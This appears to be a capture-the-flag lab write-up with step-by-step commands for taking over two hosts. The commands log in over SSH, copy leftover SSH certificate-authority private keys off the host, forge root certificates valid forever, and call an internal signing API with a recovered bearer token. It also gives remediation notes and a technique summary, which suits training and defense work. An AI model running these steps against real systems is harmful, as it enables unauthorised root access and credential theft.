Resource
Summary
I, with a single low-privileged SSH login on host 'itrc' found a, decommissioned SSH certificate-authority key pair left behind in that account's home directory. That key let them mint a certificate for root and take over the host outright, where a helper script revealed how an internal certificate-signing web service worked and the bearer token it used.
Using that API, I requested certificates for other usernames, pivoting to a second host, 'ssg', reachable on port 2222: first as a support account, then as a second account that had sudo rights to a root-owned signing helper. That account's home directory held a second CA key pair, which was used the same way to mint a root certificate on 'ssg', completing full compromise of both systems.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD3="<the-password-you-recovered, for msainristil>"Some commands also carry a value in angle brackets (<recovered-token>, <root-principal>), which you replace inline with what the step before it turned up.
Attack path: how the box was taken
Exact commands 2
Full TCP port scan with service/version detection.
$ nmap -sV -p- $TARGETResolve the internal signing virtual host locally.
$ echo "$TARGET signserv.ssg.htb" | sudo tee -a /etc/hostsExact commands 2
Log in with the recovered credential.
$ sshpass -p "$PASSWORD3" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null msainristil@$TARGETList home-directory files and permissions; reveals the old CA key pair.
$ find /home/msainristil -maxdepth 3 -type f -printf '%m %p\n'FixRemove SSH CA private keys from anywhere but the signing serviceCritical
*_ca/CA key files, and rotate the SSH CA (reissue host/user certificates) given this exposure.Exact commands 4
Exfiltrate the CA private key.
$ scp msainristil@$TARGET:/home/msainristil/decommission_old_ca/ca-itrc ./ca-itrcGenerate a fresh keypair to request a certificate for.
$ ssh-keygen -q -t ed25519 -N '' -f ./container-rootSelf-sign a root-principal certificate with the stolen CA key.
$ ssh-keygen -s ./ca-itrc -I root -n root -V always:forever ./container-root.pubUse the forged certificate for root access; read user flag (substitute <user.txt>).
$ ssh -i ./container-root root@$TARGET 'id; cat /home/zzinter/user.txt'Exact commands 3
Generate a keypair for the certificate request.
$ ssh-keygen -q -t ed25519 -N '' -f ./itsupportRequest a certificate for principal support using the bearer token recovered from prior output.
$ pub=$(cat ./itsupport.pub) && jq -n --arg pub "$pub" --arg username support --arg principals support '{pubkey:$pub,username:$username,principals:$principals}' | curl -sS http://$TARGET/v1/sign -H 'Host: signserv.ssg.htb' -H 'Content-Type: application/json' -H 'Authorization: Bearer <recovered-token>' -d @-Log in to the second host with the signed certificate.
$ ssh -p 2222 -i ./itsupport support@$TARGETFixRestrict and tightly scope the certificate-signing API's authorizationCritical
Exact commands 3
Generate another keypair for the next certificate request.
$ ssh-keygen -q -t ed25519 -N '' -f ./zzinterRequest a certificate for the zzinter account.
$ pub=$(cat ./zzinter.pub) && jq -n --arg pub "$pub" --arg username zzinter --arg principals zzinter_temp '{pubkey:$pub,username:$username,principals:$principals}' | curl -sS http://$TARGET/v1/sign -H 'Host: signserv.ssg.htb' -H 'Content-Type: application/json' -H 'Authorization: Bearer <recovered-token>' -d @-Log in as zzinter and check sudo rights.
$ ssh -p 2222 -i ./zzinter zzinter@$TARGET 'sudo -n -l'Exact commands 5
Exfiltrate the second CA private key.
$ scp -P 2222 -i ./zzinter zzinter@$TARGET:/home/zzinter/ca-it-recovered ./ca-it-hostRead the principal name authorized for root login.
$ ssh -p 2222 -i ./zzinter zzinter@$TARGET 'cat /etc/ssh/auth_principals/root'Generate a keypair to request a root certificate for.
$ ssh-keygen -q -t ed25519 -N '' -f ./host-rootSelf-sign a certificate for the root-mapped principal with the stolen CA key.
$ ssh-keygen -s ./ca-it-host -I root_user -n <root-principal> -V always:forever ./host-root.pubAuthenticate as root and read the root flag (substitute <root.txt>).
$ ssh -p 2222 -i ./host-root root@$TARGET 'id; cat /root/root.txt'Attack patterns used
The transferable techniques behind this compromise.
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http nginx 1.18.0 (Ubuntu) |
| 2222/tcp | unknown recon-sweep-discovered |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.